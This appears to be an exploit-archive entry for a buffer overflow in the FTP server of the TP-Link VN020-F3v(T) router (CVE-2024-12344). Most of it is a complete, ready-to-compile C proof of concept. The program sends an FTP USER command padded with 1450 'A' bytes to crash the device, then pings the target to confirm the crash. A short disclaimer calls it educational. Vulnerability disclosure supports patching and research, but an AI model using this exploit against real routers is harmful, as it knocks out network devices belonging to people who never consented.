📄 TP-Link VN020 F3v(T) TT_V6.2.1021 Buffer Overflow

* Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021 - Buffer Overflow Memory Corruption
    * Date: 11/24/2024
    * Exploit Author: Mohamed Maatallah
    * Vendor Homepage: https://www.tp-link.com
    * Version: TT_V6.2.1021 (VN020-F3v(T))
    * Tested on: VN020-F3v(T) Router (Hardware Version 1.0)
    * CVE: CVE-2024-12344
    * Category: Remote
    
    * Description:
    * A critical buffer overflow and memory corruption vulnerability was discovered in TP-Link VN020-F3v(T) router's FTP server implementation. The vulnerability stems from improper input validation of the USER command, allowing unauthenticated attackers to trigger various failure modes through payload size manipulation:
    
    * 1. 1100 bytes - Delayed crash (5-10 seconds)
    * 2. 1450 bytes - Immediate crash
    * 3. >1450 bytes - Undefined behavior/state corruption
    
    * Proof of Concept: (attached full c file)
     * Compilation Instructions (Visual Studio):
     * ---------------------------------------
     * 1. Open Visual Studio
     * 2. Create a new C Console Application
     * 3. Add these additional dependencies to project settings:
     *    - ws2_32.lib
     *    - iphlpapi.lib
     * 4. Ensure Windows SDK is installed
     * 5. Set Platform Toolset to latest v143 or v142
     * 6. Compile in Release or Debug mode
     *
     * Disclaimer:
     * ----------
     * This proof of concept is for educational and research purposes only.
     * Unauthorized testing without explicit permission is unethical and illegal.
     */
    
    #define _CRT_SECURE_NO_WARNINGS
    #include <stdio.h>
    #include <stdlib.h>
    #include <winsock2.h>
    #include <ws2tcpip.h>
    #include <stdint.h>
    #include <windows.h>
    #include <iphlpapi.h>
    #include <icmpapi.h>
    
    #pragma comment(lib, "ws2_32.lib")
    #pragma comment(lib, "iphlpapi.lib")
    
     // Target configuration - MODIFY BEFORE TESTING
    #define DEST_IP "192.168.1.1"     // IP of target FTP server
    #define DEST_PORT 21               // Standard FTP port
    #define PING_TIMEOUT_MS 1000       // Network timeout
    #define MAX_PING_RETRIES 5         // Connectivity check attempts
    
    // 1450: Instant
    // 1100: Delayed
    #define CRASH_STRING_LENGTH 1450   // Exact number of 'A's triggering instantcrash
    #define TOTAL_PAYLOAD_LENGTH (CRASH_STRING_LENGTH + 5 + 2)  // USER + As + \r\n
    
    typedef struct {
        HANDLE icmp_handle;
        IPAddr target_addr;
        LPVOID reply_buffer;
        DWORD reply_size;
    } ping_context_t;
    
    void log_msg(const char* prefix, const char* msg) {
        SYSTEMTIME st;
        GetLocalTime(&st);
        printf("[%02d:%02d:%02d] %s %s\n", st.wHour, st.wMinute, st.wSecond, prefix, msg);
    }
    
    void hexdump(const char* desc, const void* addr, const int len) {
        int i;
        unsigned char buff[17];
        const unsigned char* pc = (const unsigned char*)addr;
    
        if (desc != NULL)
            printf("%s:\n", desc);
    
        for (i = 0; i < len; i++) {
            if ((i % 16) == 0) {
                if (i != 0)
                    printf("  %s\n", buff);
                printf("  %04x ", i);
            }
    
            printf(" %02x", pc[i]);
    
            if ((pc[i] < 0x20) || (pc[i] > 0x7e))
                buff[i % 16] = '.';
            else
                buff[i % 16] = pc[i];
            buff[(i % 16) + 1] = '\0';
        }
    
        while ((i % 16) != 0) {
            printf("   ");
            i++;
        }
    
        printf("  %s\n", buff);
    }
    
    BOOL check_connectivity(ping_context_t* ctx) {
        char send_buf[32] = { 0 };
        return IcmpSendEcho(ctx->icmp_handle, ctx->target_addr, send_buf, sizeof(send_buf),
            NULL, ctx->reply_buffer, ctx->reply_size, PING_TIMEOUT_MS) > 0;
    }
    
    char* generate_exact_crash_payload() {
        char* payload = (char*)malloc(TOTAL_PAYLOAD_LENGTH + 1);  // +1 for null terminator
        if (!payload) {
            log_msg("[-]", "Failed to allocate payload memory");
            return NULL;
        }
    
        // Construct the exact payload that causes crash
        strcpy(payload, "USER ");                            // 5 bytes
        memset(payload + 5, 'A', CRASH_STRING_LENGTH);      // 1450 'A's
        memcpy(payload + 5 + CRASH_STRING_LENGTH, "\r\n", 2); // 2 bytes
        payload[TOTAL_PAYLOAD_LENGTH] = '\0';
    
        char debug_msg[100];
        snprintf(debug_msg, sizeof(debug_msg), "Generated payload of length %d ('A's + 5 byte prefix + 2 byte suffix)",
            TOTAL_PAYLOAD_LENGTH);
        log_msg("[*]", debug_msg);
    
        return payload;
    }
    
    BOOL send_crash_payload(const char* target_ip, uint16_t target_port) {
        WSADATA wsa;
        SOCKET sock = INVALID_SOCKET;
        struct sockaddr_in server;
        char server_reply[2048];
        int recv_size;
        ping_context_t ping_ctx = { 0 };
        BOOL success = FALSE;
    
        // Initialize Winsock
        if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
            log_msg("[-]", "Winsock initialization failed");
            return FALSE;
        }
    
        // Setup ICMP for connectivity monitoring
        ping_ctx.icmp_handle = IcmpCreateFile();
        ping_ctx.reply_size = sizeof(ICMP_ECHO_REPLY) + 32;
        ping_ctx.reply_buffer = malloc(ping_ctx.reply_size);
        inet_pton(AF_INET, target_ip, &ping_ctx.target_addr);
    
        // Create socket
        sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock == INVALID_SOCKET) {
            log_msg("[-]", "Socket creation failed");
            goto cleanup;
        }
    
        // Setup server address
        server.sin_family = AF_INET;
        server.sin_port = htons(target_port);
        inet_pton(AF_INET, target_ip, &server.sin_addr);
    
        // Connect to FTP server
        log_msg("[*]", "Connecting to target FTP server...");
        if (connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) {
            log_msg("[-]", "Connection failed");
            goto cleanup;
        }
        log_msg("[+]", "Connected successfully");
    
        // Verify initial connectivity
        if (!check_connectivity(&ping_ctx)) {
            log_msg("[-]", "No initial connectivity to target");
            goto cleanup;
        }
    
        // Receive banner
        if ((recv_size = recv(sock, server_reply, sizeof(server_reply) - 1, 0)) == SOCKET_ERROR) {
            log_msg("[-]", "Failed to receive banner");
            goto cleanup;
        }
        server_reply[recv_size] = '\0';
        log_msg("[*]", server_reply);
    
        // Generate and send the exact crash payload
        char* payload = generate_exact_crash_payload();
        if (!payload) {
            goto cleanup;
        }
    
        log_msg("[*]", "Sending crash payload...");
        hexdump("Payload hex dump (first 32 bytes)", payload, 32);
    
        if (send(sock, payload, TOTAL_PAYLOAD_LENGTH, 0) < 0) {
            log_msg("[-]", "Failed to send payload");
            free(payload);
            goto cleanup;
        }
        free(payload);
        log_msg("[+]", "Payload sent successfully");
    
        // Monitor for crash
        log_msg("[*]", "Monitoring target status...");
        Sleep(1000);  // Wait a bit for crash to take effect
    
        int failed_pings = 0;
        for (int i = 0; i < MAX_PING_RETRIES; i++) {
            if (!check_connectivity(&ping_ctx)) {
                failed_pings++;
                if (failed_pings >= 3) {
                    log_msg("[+]", "Target crash confirmed!");
                    success = TRUE;
                    goto cleanup;
                }
            }
            Sleep(500);
        }
    
        log_msg("[-]", "Target appears to still be responsive");
    
    cleanup:
        if (sock != INVALID_SOCKET) {
            closesocket(sock);
        }
        if (ping_ctx.icmp_handle != INVALID_HANDLE_VALUE) {
            IcmpCloseHandle(ping_ctx.icmp_handle);
        }
        if (ping_ctx.reply_buffer) {
            free(ping_ctx.reply_buffer);
        }
        WSACleanup();
        return success;
    }
    
    int main(void) {
        printf("\nTP-Link VN020 FTP Memory Corruption PoC\n");
        printf("---------------------------------------\n");
        printf("Target: %s:%d\n", DEST_IP, DEST_PORT);
        if (send_crash_payload(DEST_IP, DEST_PORT)) {
            printf("\nExploit successful - target crashed\n");
        }
        else {
            printf("\nExploit failed - target may be patched\n");
        }
    
        return 0;
    }